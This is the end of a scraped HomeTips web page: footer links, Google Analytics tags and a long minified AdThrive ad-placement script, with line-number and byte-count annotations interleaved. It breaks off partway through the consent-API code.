819</body></html></div></main><footer id="site-footer" class="site-footer" role="contentinfo"><div id="ssw_footer_main" class="ssw_footer_main"><div class="footer_secondary_menu"><div class="menu-footer-container"><ul id="menu-footer" class="menu"><li id="menu-item-26651" class="menu-item menu-item-type-post_type menu-item-object-page current-menu-item page_item page-item-12410 current_page_item menu-item-26651"><a href="https://www.hometips.com/about-us" aria-current="page">About HomeTips</a></li><li id="menu-item-26648" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-26648"><a href="https://www.hometips.com/advertise">Advertise</a></li><li id="menu-item-26652" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-26652"><a href="https://www.hometips.com/sitemap.html">Site Map</a></li><li id="menu-item-26653" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-26653"><a href="https://www.hometips.com/copyright">Copyright © 2026, HomeTips LLC</a></li><li id="menu-item-26650" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-26650"><a href="https://www.hometips.com/terms-of-use">Terms of Use</a></li><li id="menu-item-26649" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-privacy-policy menu-item-26649"><a rel="privacy-policy" href="https://www.hometips.com/privacy-policy">Privacy Policy</a></li><li id="menu-item-26647" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-26647"><a href="https://www.hometips.com/contact-us">Contact HomeTips</a></li></ul></div></div><div class="footer_bottom"></div></div>
vendor: 65 bytes, line 819
819  <script async src="https://www.googletagmanager.com/gtag/js?id=
819UA-784494-1
vendor: 12 bytes, line 819
819"></script> 
819<script>
vendor: 134 bytes, lines 819-823
819window.dataLayer = window.dataLayer || [];
820  function gtag(){dataLayer.push(arguments);}
821  gtag('js', new Date());
822
823  gtag('config', '
823UA-784494-1
vendor: 3 bytes, line 823
823');
823</script>
vendor: 65 bytes, line 823
823  <script async src="https://www.googletagmanager.com/gtag/js?id=
823G-H4NMVW5528
vendor: 12 bytes, line 823
823"></script> 
823<script>
vendor: 134 bytes, lines 823-827
823window.dataLayer = window.dataLayer || [];
824  function gtag(){dataLayer.push(arguments);}
825  gtag('js', new Date());
826
827  gtag('config', '
827G-H4NMVW5528
vendor: 3 bytes, line 827
827');
827</script>
827  
827<script data-no-optimize='1' data-cfasync='false' id='cls-insertion-cbeddd4'>(function(){window.adthriveCLS.buildDate=`2026-09-22`;let e={Below_Post_1:`Below_Post_1`,Below_Post:`Below_Post`,Content:`Content`,Content_1:`Content_1`,Content_2:`Content_2`,Content_3:`Content_3`,Content_4:`Content_4`,Content_5:`Content_5`,Content_6:`Content_6`,Content_7:`Content_7`,Content_8:`Content_8`,Content_9:`Content_9`,Recipe:`Recipe`,Recipe_1:`Recipe_1`,Recipe_2:`Recipe_2`,Recipe_3:`Recipe_3`,Recipe_4:`Recipe_4`,Recipe_5:`Recipe_5`,Native_Recipe:`Native_Recipe`,Footer_1:`Footer_1`,Footer:`Footer`,Header_1:`Header_1`,Header_2:`Header_2`,Header:`Header`,Sidebar_1:`Sidebar_1`,Sidebar_2:`Sidebar_2`,Sidebar_3:`Sidebar_3`,Sidebar_4:`Sidebar_4`,Sidebar_5:`Sidebar_5`,Sidebar_9:`Sidebar_9`,Sidebar:`Sidebar`,Interstitial_1:`Interstitial_1`,Interstitial:`Interstitial`,Video_StickyOutstream_1:`Video_StickyOutstream_1`,Video_StickyOutstream:`Video_StickyOutstream`,Video_StickyInstream:`Video_StickyInstream`,Sponsor_Tile:`Sponsor_Tile`},t=[`siteId`,`siteName`,`adOptions`,`breakpoints`,`adUnits`],n=(e,n=t)=>{if(!e)return window.adthriveCLS&&(window.adthriveCLS.disabled=!0),!1;for(let t=0;t<n.length;t++)if(!e[n[t]])return window.adthriveCLS&&(window.adthriveCLS.disabled=!0),!1;return!0},r=()=>window.adthriveCLS;function i(e){"@babel/helpers - typeof";return i=typeof Symbol==`function`&&typeof Symbol.iterator==`symbol`?function(e){return typeof e}:function(e){return e&&typeof Symbol==`function`&&e.constructor===Symbol&&e!==Symbol.prototype?`symbol`:typeof e},i(e)}function a(e,t){if(i(e)!=`object`||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t||`default`);if(i(r)!=`object`)return r;throw TypeError(`@@toPrimitive must return a primitive value.`)}return(t===`string`?String:Number)(e)}function o(e){var t=a(e,`string`);return i(t)==`symbol`?t:t+``}function s(e,t,n){return(t=o(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var c=class{constructor(){s(this,`_clsGlobalData`,r())}get enabled(){return!!this._clsGlobalData&&!!this._clsGlobalData.siteAds&&n(this._clsGlobalData.siteAds)}get error(){return!!(this._clsGlobalData&&this._clsGlobalData.error)}set siteAds(e){this._clsGlobalData.siteAds=e}get siteAds(){return this._clsGlobalData.siteAds}set disableAds(e){this._clsGlobalData.disableAds=e}get disableAds(){return this._clsGlobalData.disableAds}get enabledLocations(){return[e.Below_Post,e.Content,e.Recipe,e.Sidebar]}get injectedFromPlugin(){return this._clsGlobalData.injectedFromPlugin}set injectedFromPlugin(e){this._clsGlobalData.injectedFromPlugin=e}get injectedFromSiteAds(){return this._clsGlobalData.injectedFromSiteAds}set injectedFromSiteAds(e){this._clsGlobalData.injectedFromSiteAds=e}setInjectedSlots(e){this._clsGlobalData.injectedSlots=this._clsGlobalData.injectedSlots||[],this._clsGlobalData.injectedSlots.push(e)}get injectedSlots(){return this._clsGlobalData.injectedSlots}setInjectedVideoSlots(e){this._clsGlobalData.injectedVideoSlots=this._clsGlobalData.injectedVideoSlots||[],this._clsGlobalData.injectedVideoSlots.push(e)}get injectedVideoSlots(){return this._clsGlobalData.injectedVideoSlots}setExperiment(e,t,n=!1){this._clsGlobalData.experiments=this._clsGlobalData.experiments||{},this._clsGlobalData.siteExperiments=this._clsGlobalData.siteExperiments||{};let r=n?this._clsGlobalData.siteExperiments:this._clsGlobalData.experiments;r[e]=t}getExperiment(e,t=!1){let n=t?this._clsGlobalData.siteExperiments:this._clsGlobalData.experiments;return n&&n[e]}setWeightedChoiceExperiment(e,t,n=!1){this._clsGlobalData.experimentsWeightedChoice=this._clsGlobalData.experimentsWeightedChoice||{},this._clsGlobalData.siteExperimentsWeightedChoice=this._clsGlobalData.siteExperimentsWeightedChoice||{};let r=n?this._clsGlobalData.siteExperimentsWeightedChoice:this._clsGlobalData.experimentsWeightedChoice;r[e]=t}getWeightedChoiceExperiment(e,t=!1){var n,r;let i=t?(n=this._clsGlobalData)==null?void 0:n.siteExperimentsWeightedChoice:(r=this._clsGlobalData)==null?void 0:r.experimentsWeightedChoice;return i&&i[e]}get bucket(){return this._clsGlobalData.bucket}set videoDisabledFromPlugin(e){this._clsGlobalData.videoDisabledFromPlugin=e}get videoDisabledFromPlugin(){return this._clsGlobalData.videoDisabledFromPlugin}set targetDensityLog(e){this._clsGlobalData.targetDensityLog=e}get targetDensityLog(){return this._clsGlobalData.targetDensityLog}get removeVideoTitleWrapper(){return this._clsGlobalData.siteAds.adOptions.removeVideoTitleWrapper}},l=class{},u=class extends l{constructor(e,t=Math.random){super(),this._probability=e,this._random=t}get(){if(this._probability<0||this._probability>1)throw Error(`Invalid probability: ${this._probability}`);return this._random()<this._probability}},d=class{constructor(){s(this,`_featureRollouts`,{}),s(this,`_checkedFeatureRollouts`,new Map),s(this,`_enabledFeatureRolloutIds`,[])}get siteFeatureRollouts(){return this._featureRollouts}_isRolloutEnabled(e){if(this._doesRolloutExist(e)){let t=this._featureRollouts[e],n=t.enabled,r=t.data;if(this._doesRolloutHaveConfig(e)&&this._isFeatureRolloutConfigType(r)){let e=(r.pct_enabled??100)/100;n&&=new u(e).get()}return n}return!1}isRolloutEnabled(e){let t=this._checkedFeatureRollouts.get(e)??this._isRolloutEnabled(e);return this._checkedFeatureRollouts.get(e)===void 0&&this._checkedFeatureRollouts.set(e,t),t}isRolloutAdministrativelyEnabled(e){return this._doesRolloutExist(e)&&this._featureRollouts[e].enabled}_doesRolloutExist(e){return this._featureRollouts&&!!this._featureRollouts[e]}_doesRolloutHaveConfig(e){return this._doesRolloutExist(e)&&`data`in this._featureRollouts[e]}_isFeatureRolloutConfigType(e){return typeof e==`object`&&!!e&&!!Object.keys(e).length}getSiteRolloutConfig(e){var t;let n=this.isRolloutEnabled(e),r=(t=this._featureRollouts[e])==null?void 0:t.data;return n&&this._doesRolloutHaveConfig(e)&&this._isFeatureRolloutConfigType(r)?r:{}}get enabledFeatureRolloutIds(){return this._enabledFeatureRolloutIds}},f=class extends d{constructor(e){super(),this._featureRollouts=e,this._setEnabledFeatureRolloutIds()}_setEnabledFeatureRolloutIds(){Object.entries(this._featureRollouts).forEac
827h(([e,t])=>{this.isRolloutEnabled(e)&&t.featureRolloutId!==void 0&&this._enabledFeatureRolloutIds.push(t.featureRolloutId)})}},p,m;let h=(p=window.adthrive)==null||(p=p.siteAds)==null?void 0:p.featureRollouts,g=(m=window.adthriveCLS)==null||(m=m.siteAds)==null?void 0:m.featureRollouts,_=e=>!!e&&typeof e==`object`&&Object.keys(e).length>0,v=new f(_(g)&&g||_(h)&&h||{}),y=new f(window.adthrive&&window.adthrive.siteAds&&`featureRollouts`in window.adthrive.siteAds?window.adthrive.siteAds.featureRollouts??{}:{}),b=e=>e.indexOf(`hbs-q`)===0,ee=({bucket:e,isRolloutEnabled:t}={})=>{var n;let r=e??((n=window.adthrive)==null?void 0:n.bucket);return!(t??y.isRolloutEnabled.bind(y))(`enable-sticky-related`)||b(r||``)},x=e=>{let t={};return function(...n){let r=JSON.stringify(n);if(r in t)return t[r];let i=e.apply(this,n);return t[r]=i,i}};navigator.vendor;let S=navigator.userAgent,C=x(e=>/Chrom|Applechromium/.test(e||S)),te=x(()=>/WebKit/.test(S)),ne=x(()=>C()?`chromium`:te()?`webkit`:`other`),re=e=>/(Windows NT|Macintosh|X11;[^)]*(Linux|CrOS))/i.test(e),ie=e=>/Mobi|iP(hone|od)|Opera Mini/i.test(e),ae=e=>!/iPhone/i.test(e)&&/Mac/i.test(e)&&`ontouchstart`in window,w=e=>/Tablet|iPad|Playbook|Nook|webOS|Kindle|Android (?!.*Mobile).*Safari/i.test(e)||ae(e),T=x((e=S)=>w(e)?`tablet`:ie(e)&&!w(e)?`mobile`:re(e)?`desktop`:`tablet`),oe={desktop:`desktop`,tablet:`tablet`,phone:`mobile`},se=e=>e===`mobile`?`phone`:e,ce=()=>{var e;let t=((e=window)==null?void 0:e.adthrive)&&`deviceType`in window.adthrive&&window.adthrive.deviceType||null;return t&&Object.values(oe).includes(t)?t:null},le=x((e,t)=>{let n=T(e),r=t??n;return se(r===`tablet`&&n!==r?n:r)}),E=(e=navigator.userAgent)=>le(e,ce()),D=(e=navigator.userAgent)=>E(e)===`phone`;var ue,O=class{static _scheduleViewportUpdate(){this._rafId===null&&(this._rafId=window.requestAnimationFrame(()=>{this._rafId=null,this._updateViewportRects()}))}static _updateViewportRects(){if(this._trackedElements.size===0){this._detachViewportListeners();return}let e=[];this._trackedElements.forEach(t=>{if(!t.isConnected){e.push(t);return}this._cachedRects.set(t,t.getBoundingClientRect())}),e.forEach(e=>{this._trackedElements.delete(e),this._cachedRects.delete(e)}),this._trackedElements.size===0&&this._detachViewportListeners()}static _attachViewportListeners(){this._listenersAttached||=(window.addEventListener(`scroll`,this._viewportListener,{passive:!0}),window.addEventListener(`resize`,this._viewportListener),!0)}static _detachViewportListeners(){this._listenersAttached&&=(window.removeEventListener(`scroll`,this._viewportListener),window.removeEventListener(`resize`,this._viewportListener),!1)}static trackViewportElement(e){e&&(this._trackedElements.has(e)||(this._trackedElements.add(e),this._attachViewportListeners(),this._scheduleViewportUpdate()))}static untrackViewportElement(e){e&&(this._trackedElements.delete(e),this._cachedRects.delete(e),this._trackedElements.size===0&&this._detachViewportListeners())}static getCachedRect(e){return this._cachedRects.get(e)}static getScrollTop(){return(window.pageYOffset||document.documentElement.scrollTop)-(document.documentElement.clientTop||0)}static getScrollBottom(){let e=window.innerHeight||document.documentElement.clientHeight||document.body.clientHeight||0;return this.getScrollTop()+e}static shufflePlaylist(e){let t=e.length,n,r;for(;t!==0;)r=Math.floor(Math.random()*e.length),--t,n=e[t],e[t]=e[r],e[r]=n;return e}static isMobileLandscape(){return window.matchMedia(`(orientation: landscape) and (max-height: 480px)`).matches}static playerViewable(e){let t=this._cachedRects.get(e)??e.getBoundingClientRect();return this.playerViewableFromRect(t)}static playerViewableFromRect(e){return this.isMobileLandscape()?window.innerHeight>e.top+e.height/2&&e.top+e.height/2>0:window.innerHeight>e.top+e.height/2}static createQueryString(e){return Object.keys(e).map(t=>`${t}=${e[t]}`).join(`&`)}static createEncodedQueryString(e){return Object.keys(e).map(t=>`${t}=${encodeURIComponent(e[t])}`).join(`&`)}static setMobileLocation(e,t=!1){e||=`bottom-right`;let n=t?`raptive-player-sticky`:`adthrive-collapse`;return e===`top-left`?e=`${n}-top-left`:e===`top-right`?e=`${n}-top-right`:e===`bottom-left`?e=`${n}-bottom-left`:e===`bottom-right`?e=`${n}-bottom-right`:e===`top-center`&&(e=`adthrive-collapse-${D()?`top-center`:`bottom-right`}`),e}static addMaxResolutionQueryParam(e){let t=`max_resolution=${D()?`320`:`1280`}`,[n,r]=String(e).split(`?`);return`${n}?${r?r+`&${t}`:t}`}};ue=O,s(O,`_trackedElements`,new Set),s(O,`_cachedRects`,new WeakMap),s(O,`_rafId`,null),s(O,`_listenersAttached`,!1),s(O,`_viewportListener`,()=>{ue._scheduleViewportUpdate()});let k=(e,t)=>e==null||e!==e?t:e;var de=class{constructor(e){this._clsOptions=e,s(this,`relatedSettings`,void 0),s(this,`players`,void 0),s(this,`removeVideoTitleWrapper`,void 0),s(this,`footerSelector`,void 0),s(this,`shouldDisableStickyRelated`,void 0),this.removeVideoTitleWrapper=k(this._clsOptions.siteAds.adOptions.removeVideoTitleWrapper,!1),this.shouldDisableStickyRelated=ee({bucket:this._clsOptions.bucket,isRolloutEnabled:v.isRolloutEnabled.bind(v)});let t=this._clsOptions.siteAds.videoPlayers;this.footerSelector=k(t&&t.footerSelector,``),this.players=k(t&&t.players.map(e=>(e.mobileLocation=O.setMobileLocation(e.mobileLocation),e)),[]),this.relatedSettings=t&&t.contextual}},fe=class{constructor(e){s(this,`mobileStickyPlayerOnPage`,!1),s(this,`collapsiblePlayerOnPage`,!1),s(this,`playlistPlayerAdded`,!1),s(this,`relatedPlayerAdded`,!1),s(this,`collapseSettings`,void 0),s(this,`footerSelector`,``),s(this,`removeVideoTitleWrapper`,!1),s(this,`desktopCollapseSettings`,void 0),s(this,`mobileCollapseSettings`,void 0),s(this,`relatedSettings`,void 0),s(this,`playerId`,void 0),s(this,`playlistId`,void 0),s(this,`desktopRelatedCollapseSettings`,void 0),s(this,`mobileRelatedCollapseSettings`,void 0),s(this,`collapsePlayerId`,void 0),s(this,`players`,void 0),s(this,`videoAdOptions`,void 0),s(this,`shouldDisableStickyRelated`,void 0),this.videoAdOptions=new de(e),this.players=this.videoAdOptions.players,this.relatedSettings=this.videoAdOptions.relatedSettings,this.removeVideoTitleWrapper=this.videoAdOptions.removeVideoTitleWrapper,this.footerSelector=this.videoAdOptions.footerSelector,this.shouldDisableStickyRelated=this.videoAdOptions.shouldDisableStickyRelated}};
827let pe=[[300,50],[300,90],[320,50],[320,100]],A=(t,n)=>t===e.Recipe&&n===`phone`,me=([e,t])=>pe.some(([n,r])=>n===e&&r===t),he=e=>{let t=e.clientWidth;if(getComputedStyle){let n=getComputedStyle(e,null);t-=parseFloat(n.paddingLeft||`0`)+parseFloat(n.paddingRight||`0`)}return t},ge=()=>document.createDocumentFragment().querySelectorAll(`*`),j=(e,t=document)=>{try{return{valid:!0,elements:t.querySelectorAll(e)}}catch(e){return{valid:!1,elements:ge(),error:e}}},M=(e,t=document)=>{try{return{valid:!0,element:t.querySelector(e)}}catch(e){return{valid:!1,element:null,error:e}}},N=e=>j(e),P=e=>{if(e===``)return{valid:!0};let t=N(e);return t.valid?{valid:!0,elements:t.elements}:{valid:!1,error:t.error}},F=new class{info(e,t,...n){this.call(console.info,e,t,...n)}warn(e,t,...n){this.call(console.warn,e,t,...n)}error(e,t,...n){this.call(console.error,e,t,...n),this.sendErrorLogToCommandQueue(e,t,...n)}event(e,t,...n){var r;((r=window.adthriveCLS)==null?void 0:r.bucket)===`debug`&&this.info(e,t)}sendErrorLogToCommandQueue(e,t,...n){window.adthrive=window.adthrive||{},window.adthrive.cmd=window.adthrive.cmd||[],window.adthrive.cmd.push(()=>{window.adthrive.logError!==void 0&&typeof window.adthrive.logError==`function`&&window.adthrive.logError(e,t,n)})}call(e,t,n,...r){let i=[`%c${t}::${n} `],a=[`color: #999; font-weight: bold;`];r.length>0&&typeof r[0]==`string`&&i.push(r.shift()),a.push(...r);try{Function.prototype.apply.call(e,console,[i.join(``),...a])}catch(e){console.error(e);return}}},_e=[[728,90],[300,250],[300,600],[320,50],[970,250],[160,600],[300,1050],[336,280],[970,90],[300,50],[300,90],[320,100],[468,60],[250,250],[120,240],[1,1],[300,300],[300,420],[728,250],[320,300],[300,390]],ve=new Map([[e.Footer,1],[e.Header,2],[e.Sidebar,3],[e.Content,4],[e.Recipe,5],[`Sidebar_sticky`,6],[`Below Post`,7]]),ye=e=>_e.filter(([t,n])=>e.some(([e,r])=>t===e&&n===r)),be=(t,[n,r],i)=>{let{location:a,sequence:o}=t;if(a===e.Footer)return!(i===`phone`&&n===320&&r===100);if(a===e.Header)return!0;if(a===e.Recipe)return!(D()&&i===`phone`&&(n===300&&r===390||n===320&&r===300));if(a===e.Sidebar){let e=t.adSizes.some(([,e])=>e<=300),n=!!o&&o<=5,i=r>300;return i&&!e||o===9?!0:n?i?t.sticky:!0:!i}else return!0},xe=(t,n)=>{let{location:r,sticky:i}=t;if(r===e.Recipe&&n){let{recipeMobile:e,recipeDesktop:t}=n;if(D()&&e!=null&&e.enabled||!D()&&t!=null&&t.enabled)return!0}return r===e.Footer||i},Se=(e,t)=>{var n;let i=(n=r())==null?void 0:n.experiments;return i!==void 0&&Object.prototype.hasOwnProperty.call(i,`smra1`)&&i.smra1===!0&&D()&&A(e,t)},Ce=(t,n)=>{let r=n.adUnits,i=v.isRolloutEnabled(`enable-250px-max-ad-height`);return r.filter(e=>e.dynamic!==void 0&&e.dynamic.enabled).map(r=>{let a=r.location.replace(/\s+/g,`_`),o=a===`Sidebar`?0:2;a===e.Content&&i&&C()&&(r.adSizes=r.adSizes.filter(e=>e[1]<=250));let s=Se(a,t),c=[];for(let e of k(r.targeting,[])){let t=e;t.key===`special`&&c.push(...t.value)}let l=ye(r.adSizes).filter(e=>be(r,e,t)&&(s?me(e):!(e[0]===300&&e[1]===90)));return{auctionPriority:ve.get(a)||8,location:a,sequence:k(r.sequence,1),thirdPartyAdUnitName:r.thirdPartyAdUnitName||``,customGamTargeting:r.customGamTargeting||{},sizes:l,devices:r.devices,pageSelector:k(r.dynamic.pageSelector,``).trim(),elementSelector:k(r.dynamic.elementSelector,``).trim(),position:k(r.dynamic.position,`beforebegin`),max:Math.floor(k(r.dynamic.max,0)),spacing:k(r.dynamic.spacing,0),skip:Math.floor(k(r.dynamic.skip,0)),every:Math.max(Math.floor(k(r.dynamic.every,1)),1),classNames:r.dynamic.classNames||[],sticky:xe(r,n.adOptions.stickyContainerConfig),stickyOverlapSelector:k(r.stickyOverlapSelector,``).trim(),autosize:r.autosize,special:c,lazy:k(r.dynamic.lazy,!1),lazyMax:k(r.dynamic.lazyMax,o),lazyMaxDefaulted:r.dynamic.lazyMax===0?!1:!r.dynamic.lazyMax,name:r.name}})},we=(t,n)=>{let r=he(n),i=t.sticky&&t.location===e.Sidebar;return t.sizes.filter(e=>{let n=t.autosize?e[0]<=r||e[0]<=320:!0,a=i?e[1]<=window.innerHeight-100:!0;return n&&a})},Te=(e,t)=>
827e.devices.includes(t),Ee=e=>{if(e.pageSelector.length===0)return!0;let t=M(e.pageSelector);return t.valid?t.element!==null:!1},I={Desktop:`desktop`,Mobile:`mobile`},De=e=>{let t=document.body,n=`adthrive-device-${e}`;if(!t.classList.contains(n))try{t.classList.add(n)}catch(e){F.error(`BodyDeviceClassComponent`,`init`,{message:e.message});let t=`classList`in document.createElement(`_`);F.error(`BodyDeviceClassComponent`,`init.support`,{support:t})}},L=e=>`adthrive-${e.location.replace(`_`,`-`).toLowerCase()}`,Oe=e=>`${L(e)}-${e.sequence}`;function ke(e,t,n){let r=e.pageOverrides.filter(e=>{let t=P(e.pageSelector);return t.valid||n==null||n({selector:e.pageSelector,selectorType:`pageOverride.pageSelector`,source:`getPageDensitySettings`,error:t.error}),e.pageSelector===``||t.elements&&t.elements.length}).map(e=>e[t]);return r.length?r[0]:e[t]}function Ae({targetDensity:e,targetAll:t,totalAvailableElements:n,mainContentHeight:r,minDivHeight:i,recipeCount:a}){return t?n:Math.floor(e*r/(1-e)/i)-a}function je(e,t,n,r){return e.filter(e=>{try{return t.querySelector(e.elementSelector)}catch(t){return r==null||r({selector:e.elementSelector,selectorType:`elementSelector`,source:`getCombinedMax`,context:n==null?void 0:n(e),error:t}),!1}}).map(e=>Number(e.max)+Number(e.lazyMaxDefaulted?0:e.lazyMax)).sort((e,t)=>t-e)[0]||0}let Me=(e,t)=>{if(e<=0)return{spacing:0,nextAfter:0,reasons:[`non-density-disabled`]};let n=t*e;return{spacing:n,nextAfter:n,reasons:[`non-density-viewport-ratio`]}},Ne=({settings:e,densityDevice:t,dynamicAds:n,target:r,totalAvailableElements:i,mainContentHeight:a,minDivHeight:o,recipeCount:s,selectorContext:c,onInvalidSelector:l})=>{let u=ke(e,t,l),d=u.adDensity,f=u.onePerViewport,p=d===.99,m=Ae({targetDensity:d,targetAll:p,totalAvailableElements:i,mainContentHeight:a,minDivHeight:o,recipeCount:s}),h=je(n,r,c,l);return{onePerViewport:f,targetAll:p,targetDensity:d,targetDensityUnits:m,combinedMax:h,numberOfUnits:Math.min(i,m,...h>0?[h]:[]),reasons:[p?`target-all-eligible`:`target-density-formula`,...f?[`viewport-floor`]:[]]}},Pe=({totalAvailableElements:e,targetDensityUnits:t,numberOfUnits:n,mainContentHeight:r,absoluteMinimumSpacing:i,viewportHeight:a,onePerViewport:o})=>{let s=e>t||e>n,c=[],l,u;return s?(u=!1,l=r/Math.min(t,n),c.push(`wider-spacing`)):(u=!0,l=o&&a>i?a:i,c.push(`absolute-minimum`)),o&&a>l?(c.push(`viewport-floor`),{insertEvery:a,usedAbsoluteMinimum:u,reasons:c}):{insertEvery:l,usedAbsoluteMinimum:u,reasons:c}},Fe=(e,t)=>{let n=e*.6;return n<=t?{insertEvery:t,usedAbsoluteMinimum:!0,reasons:[`clamped-absolute-minimum`]}:{insertEvery:n,usedAbsoluteMinimum:!1,reasons:[`wider-spacing`]}},Ie=(e,t)=>window.matchMedia(`(min-width: ${t}px)`).matches?`desktop`:window.matchMedia(`(min-width: ${e}px)`).matches?`tablet`:`phone`,R=e=>{let t=e.offsetHeight,n=e.offsetWidth,r=e.getBoundingClientRect(),i=document.body,a=document.documentElement,o=window.pageYOffset||a.scrollTop||i.scrollTop,s=window.pageXOffset||a.scrollLeft||i.scrollLeft,c=a.clientTop||i.clientTop||0,l=a.clientLeft||i.clientLeft||0,u=Math.round(r.top+o-c),d=Math.round(r.left+s-l);return{top:u,left:d,bottom:u+t,right:d+n,width:n,height:t}},Le=(e=document)=>(e===document?document.body:e).getBoundingClientRect().top,Re=e=>e.includes(`,`)?e.split(`,`):[e],ze=(e=document)=>{let t=e.querySelectorAll(`article`);if(t.length===0)return null;let n=Array.from(t).reduce((e,t)=>t.offsetHeight>e.offsetHeight?t:e);return n&&n.offsetHeight>window.innerHeight*1.5?n:null},Be=(e,t,n=document)=>{let r=new Set(t.map.map(({el:e})=>e)),i=ze(n),a=i?[i]:[],o=[];e.forEach(e=>{let t=j(e.elementSelector,n);if(!t.valid)return;let i=Array.from(t.elements),s=Re(e.elementSelector),c=s.length===1?i:[];s.length>1&&s.forEach(e=>{Array.from(j(e,n).elements).forEach(e=>{c.push(e)})});let l=new Set(i.slice(0,e.skip));for(let t of c){if(r.has(t))continue;let n=t.parentElement;n&&n!==document.body?a.push(n):a.push(t),l.has(t)||o.push({dynamicAd:e,element:t})}});let s=Le(n),c=o.map(e=>({item:e,top:e.element.getBoundingClientRect().top-s}));return c.sort((e,t)=>e.top-t.top),[a,c.map(({item:e})=>e)]},Ve=(e,t,n=document)=>{let[r,i]=Be(e,t,n);return r.length===0?[null,i]:[Array.from(r).reduce((e,t)=>
827t.offsetHeight>e.offsetHeight?t:e)||document.body,i]},He=(e,t=`div #comments, section .comments`)=>{let n=e.querySelector(t);return n?e.offsetHeight-n.offsetHeight:e.offsetHeight},Ue=()=>{let e=document.body,t=document.documentElement;return Math.max(e.scrollHeight,e.offsetHeight,t.clientHeight,t.scrollHeight,t.offsetHeight)},We=()=>{let e=document.body,t=document.documentElement;return Math.max(e.scrollWidth,e.offsetWidth,t.clientWidth,t.scrollWidth,t.offsetWidth)};function z(e,t){t===void 0&&(t={});var n=t.insertAt;if(!(!e||typeof document>`u`)){var r=document.head||document.getElementsByTagName(`head`)[0],i=document.createElement(`style`);i.type=`text/css`,n===`top`&&r.firstChild?r.insertBefore(i,r.firstChild):r.appendChild(i),i.styleSheet?i.styleSheet.cssText=e:i.appendChild(document.createTextNode(e))}}let Ge=e=>e===9,Ke=e=>Ge(e)?`rp-sticky-sb-wrapper`:`rp-sticky-sidebar`,qe=e=>z(`
828  .adthrive-device-phone .adthrive-sticky-content {
829    height: 450px !important;
830    margin-bottom: 100px !important;
831  }
832  .adthrive-content.adthrive-sticky {
833    position: -webkit-sticky;
834    position: sticky !important;
835    top: 42px !important;
836    margin-top: 42px !important;
837  }
838  .adthrive-content.adthrive-sticky:after {
839    content: "— Advertisement. Scroll down to continue. —";
840    font-size: 10pt;
841    margin-top: 5px;
842    margin-bottom: 5px;
843    display:block;
844    color: #888;
845  }
846  .adthrive-sticky-container {
847    position: relative;
848    display: flex;
849    flex-direction: column;
850    justify-content: flex-start;
851    align-items: center;
852    min-height:${e||400}px;
853    margin: 10px 0 10px 0;
854    background-color: #FAFAFA;
855    padding-bottom:0px;
856  }
857  `),Je=e=>{z(`
858  .adthrive-recipe.adthrive-sticky {
859    position: -webkit-sticky;
860    position: sticky !important;
861    top: 42px !important;
862    margin-top: 42px !important;
863  }
864  .adthrive-recipe-sticky-container {
865    position: relative;
866    display: flex;
867    flex-direction: column;
868    justify-content: flex-start;
869    align-items: center;
870    min-height:${e||400}px !important;
871    margin: 10px 0 10px 0;
872    background-color: #FAFAFA;
873    padding-bottom:0px;
874  }
875  `)},B=(e,t)=>e.some(e=>{let n=M(e);return n.valid?n.element!==null:(t==null||t(e,n.error),!1)}),Ye=e=>/^[-_a-zA-Z]+[-_a-zA-Z0-9]*$/.test(e),Xe=(e,t,n)=>{let r=e=>e?!!(e.classList.contains(`adthrive-ad`)||e.id.includes(`_${n}_`)):!1;switch(t){case`beforebegin`:return r(e.previousElementSibling);case`afterend`:return r(e.nextElementSibling);case`afterbegin`:return r(e.firstElementChild);case`beforeend`:return r(e.lastElementChild);default:return!1}};var V=class e extends l{constructor(e=[],t,n=Math.random){super(),this._choices=e,this._default=t,this._random=n}static fromArray(t,n){return new e(t.map(([e,t])=>({choice:e,weight:t})),n)}addChoice(e,t){this._choices.push({choice:e,weight:t})}get(){let e=this._random()*100,t=0;for(let{choice:n,weight:r}of this._choices)if(t+=r,t>=e)return n;return this._default}get totalWeight(){return this._choices.reduce((e,{weight:t})=>e+t,0)}};let H={AdDensity:`addensity`,AdLayout:`adlayout`,FooterCloseButton:`footerclose`,Interstitial:`interstitial`,RemoveVideoTitleWrapper:`removevideotitlewrapper`,StickyOutstream:`stickyoutstream`,StickyOutstreamOnStickyPlayer:`sospp`,VideoAdvancePlaylistRelatedPlayer:`videoadvanceplaylistrp`,MobileStickyPlayerPosition:`mspp`};var Ze=class{constructor(){s(this,`name`,void 0),s(this,`disable`,void 0),s(this,`gdprPurposes`,void 0)}};let U=`__adthriveTcfApiStub`,W=`__tcfapiLocator`,G=[],K=!1,q,J=e=>typeof e==`function`&&!!e[U],Qe=(e,t=2)=>{let n=G.findIndex(([n,r,i])=>n===`getTCData`&&r===t&&i===e);return n===-1?!1:(G.splice(n,1),!0)},$e=()=>{let e=()=>{if(document.querySelector(`iframe[name="${W}"]`))return;if(!document.body){setTimeout(e,5);return}let t=document.createElement(`iframe`);t.style.cssText=`display:none`,t.name=W,document.body.appendChild(t)};e()},Y=()=>{let e=window.__tcfapi;return typeof e==`function`&&!J(e)?e:void 0},X=()=>{let e=Y();if(e)for(;G.length>0;){let t=G.shift();if(t)try{e(t[0],t[1],t[2],t[3])}catch(e){e instanceof Error&&e.message}}},et=()=>{if(K)return;if(K=!0,Y()){X();return}let e=window.__tcfapi;Object.defineProperty(window,"__tcfapi",{configurable:!0,enumerable:!0,get:()=>e,set:t=>{e=t,typeof t==`function`&&!J(t)&&X()}})},tt=()=>{let e=(e,t=2,n,r)=>{if(e===void 0)return G;switch(e){case`ping`:typeof n==`function`&&n({gdprApplies:q,cmpLoaded:!1,cmpStatus:`stub`,apiVersion:`2.0`},!0);return;case`setGdprApplies`:parseInt(String(t),10)>=2&&typeof r==`boolean`&&(q=r,typeof n==`function`&&n(`set`,!0));return;default:G.push([e,t,n,r])}};return Object.defineProperty(e,U,{value:!0,configurable:!1,enumerable:!1,writable:!1}),e},nt=()=>{window.addEventListener(`message`,e=>{let t=typeof e.data==`string`,n={};if(t)try{n=JSON.parse(e.data)}catch{return}else n=e.data;let r=typeof n==`object`&&n?n.__tcfapiCall:void 0;if(!r)return;let i=e.source;window.__tcfapi(r.command,r.version,(e,n)=>{let 